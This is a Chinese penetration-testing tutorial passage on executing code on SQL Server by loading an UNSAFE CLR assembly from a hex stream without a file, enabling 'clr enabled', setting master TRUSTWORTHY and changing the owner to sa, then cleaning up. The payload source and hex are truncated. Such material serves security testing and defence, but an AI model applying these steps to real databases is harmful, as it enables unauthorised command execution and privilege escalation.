创建CLR有两种方式:
方式一:使用DLL文件进行创建
CREATE ASSEMBLY AssemblyName from ‘DLLPath’
方式二:使用文件16进制流进行创建
CREATE ASSEMBLY AssemblyName from 文件十六进制流
对于做渗透的我们,当然是没有文件是最好的方式了,因此,本文主要介绍方式二。以下为详细测试步骤:
1、安装Visual Studio和SQL Server数据库,此次测试使用了VS2015跟SQL2012。
2、创建一个新的SQL Server数据库项目
3、设置项目属性,目标平台修改为需要的目标平台,如SQL Server 2012; 将SQLCLR权限级别修改为UNSAFE;修改.Net 框架版本为自己需要的版本;语言选择C#。
4、右键项目,选择添加->新建项,新建SQL CLR C# 存储过程
5、填入以下测试代码:
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Collections.Generic;
6、填入代码以后进行编译,之后到编译目录下可以看到一个dacpac后缀的文件。
7、双击此文件进行解压,将解压出一个名为mode.sql的文件。
8、执行SQL文件中的以下语句
CREATE ASSEMBLY [ExecCode]
AUTHORIZATION [dbo]
FROM 0x4D5A[...snip...]
WITH PERMISSION_SET = UNSAFE;
之后执行:
CREATE PROCEDURE [dbo].[SqlStoredProcedure1]
AS EXTERNAL NAME [ExecCode].[StoredProcedures].[SqlStoredProcedure1]
9、开启数据库服务器配置选项clr enabled
EXEC sp_configure N'show advanced options', N'1'
RECONFIGURE WITH OVERRIDE
--开启clr enabled 选项
EXEC sp_configure N'clr enabled', N'1'
RECONFIGURE WITH OVERRIDE
--关闭所有服务器配置选项
EXEC sp_configure N'show advanced options', N'0'
RECONFIGURE WITH OVERRIDE
--如果存在权限问题,执行下面一段脚本
alter database [master] set TRUSTWORTHY on
EXEC sp_changedbowner 'sa'
10、执行命令:
EXEC [dbo].[SqlStoredProcedure1];
如果没成功,可以换个数据库试试看。
11、删除存储过程
DROP PROCEDURE [dbo].[SqlStoredProcedure1];
DROP ASSEMBLY ExecCode
0x04 PowerUpSQL
当然针对SQL Server的攻击,有一个强大的工具PowerUpSQL,里面也有很多针对MSSQL的攻击方式。下面介绍两种比较实用的方式。